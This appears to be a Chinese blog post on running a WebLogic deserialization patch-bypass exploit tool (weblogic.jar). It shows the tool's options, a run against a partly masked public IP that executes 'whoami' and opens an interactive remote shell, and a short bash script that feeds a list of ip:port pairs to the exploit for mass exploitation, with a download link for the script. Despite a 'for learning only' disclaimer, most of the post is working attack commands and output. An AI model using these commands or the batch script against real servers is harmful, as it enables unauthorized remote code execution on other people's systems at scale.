~ 以下内容,仅供学习参考 ~
weblogic 反序列化补丁绕过漏洞已经出了两个月了,balabala ~~~ 废话不说,拿到该漏洞的利用工具weblogic.jar,但只能一个个检测ip和端口,效率有点低 ~ 而我自己又没有能力去重写一个批量检测工具,于是乎就想能不能通过一些非技术手段 ~ 先看下该工具的使用方法:
starnight:shell starnight$ java -jar weblogic.jar usage: supeream -B Runtime Blind Execute Command maybe you should select os type -C <arg> Execute Command[need set] -dst <arg> path to dst file -H <arg> Remote Host[need set] -https enable https or tls -noExecPath custom execute path -os <arg> Os Type [windows,linux] -P <arg> Remote Port[need set] -shell enable shell module -src <arg> path to src file -T <arg> Payload Type[marshall, collection, streamMessageImpl] -U Uninstall rmi -upload enable upload a file
一般来讲我们只需要提供一个ip和端口就可以进行检测了,像下面这样:
starnight:shell starnight$ java -jar weblogic.jar -H 220.195.*.197 -P 7001 检查是否安装rmi实例 rmi已经安装 执行命令:whoami weblogic starnight:shell starnight$ java -jar weblogic.jar -H 220.195.*.197 -P 7001 -shell 检查是否安装rmi实例 rmi已经安装 please input cmd:>whoami weblogic please input cmd:>
工具运行的时候,会给出比较详细的信息,试想以下,这些信息只需要保存在一个文本文件中,到时候我们直接查看文本便能清楚的知道,该ip:port是否存在weblogic反序列化补丁绕过漏洞,要是能让该工具自动的从一个保存ip:port的文本文件中,一条条的读取ip:port,然后执行,再将输出信息保存在result.txt中,等程序运行结束,只要查看result.txt即可。
~ 怎么搞,当然是写shell脚本啦 ~ 但是,我也不会啊 ~ 没关系,一步步来,我们可以先想想如何去实现这样一个小功能
~~ 首先,脚本需要从保存ip:port的列表文件ips.txt中一行行读取,然后分别赋给ip 和 port变量
~~ 有了ip 和 port之后,这条命令便能执行了: java -jar weblogic.jar -H xx.xx.xx.xx -P xx, 将结果追加到文件中,使用 ">>"即可
~~ 再对脚本做一些修饰,让输出更友好
~~ shell脚本内容参考如下:
starnight:shell starnight$ cat exp.sh var=0 while IFS=: read ip port; do var=$((var + 1)) echo [$var] $ip $port echo "[$var]$ip $port" >> result.txt java -jar weblogic.jar -H $ip -P $port >> result.txt echo "" >> result.txt done < ips.txt
只要短短的几行,便改造成了一个批量脚本,瞬间感觉,我要去学shell编程了 ~
运行该脚本:./exp.sh [需要执行权限]
运行结果就不分享了,试试哦 ~
脚本分享百度云:
链接:http://pan.baidu.com/s/1c1FW2wK 密码:ywm3